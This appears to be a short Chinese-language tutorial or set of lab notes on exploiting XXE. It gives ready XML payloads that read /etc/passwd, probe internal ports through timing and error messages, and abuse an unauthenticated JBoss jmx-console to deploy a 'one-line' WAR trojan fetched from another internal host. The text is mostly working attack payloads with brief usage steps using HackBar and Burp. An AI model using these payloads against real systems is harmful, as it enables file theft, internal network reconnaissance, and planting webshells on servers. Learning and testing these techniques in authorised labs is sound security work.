01-XXE漏洞文件读取
使用POST方式提交数据,这里用到火狐的插件hackbar,首先点击load URL,再勾选post data按钮,将构造好的XML恶意代码放入post框内,点击Execute进行post数据
<?xml version="1.0" ?>
<!DOCTYPE creds [
<!ELEMENT username ANY >
<!ELEMENT password ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
<username>&xxe;</username>
<password>test</password>
</creds>
02-XXE漏洞内网探测
利用XXE漏洞进行内网探测,如果端口开启,请求返回的时间会很快;如果端口关闭,请求返回的时间会很慢。
当探测一个未开放的端口时,会有拒绝连接的提示,如:9000端口并未开放,探测9000端口时会出现以下报错,报错中带有failed to open stream: Connection refused。
<?xml version="1.0" ?>
<!DOCTYPE creds [
<!ELEMENT username ANY >
<!ELEMENT password ANY >
<!ENTITY xxe SYSTEM "http://192.168.10.21:9003" >]>
<creds>
<username>&xxe;</username>
<password>test</password>
</creds>
burpsuite
03-XXE漏洞内网应用攻击
通过XXE漏洞对内网应用程序进行攻击。
例如可以利用如下攻击代码对内网存在jmx控制台未授权访问的Jboss漏洞进行攻击,构造jboss一句话部署war包木马的XML语句(上个任务探测到的9080端口就是jboss服务)。
// An highlighted block
<?xml version="1.0" ?>
<!DOCTYPE creds [
<!ELEMENT username ANY >
<!ELEMENT password ANY >
<!ENTITY xxe SYSTEM "http://192.168.12.100:9080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.deployment:type=DeploymentScanner,flavor=URL&methodIndex=7&arg0=http://192.168.12.99/bm1.war" >]>
<creds>
<username>&xxe;</username>
<password>test</password>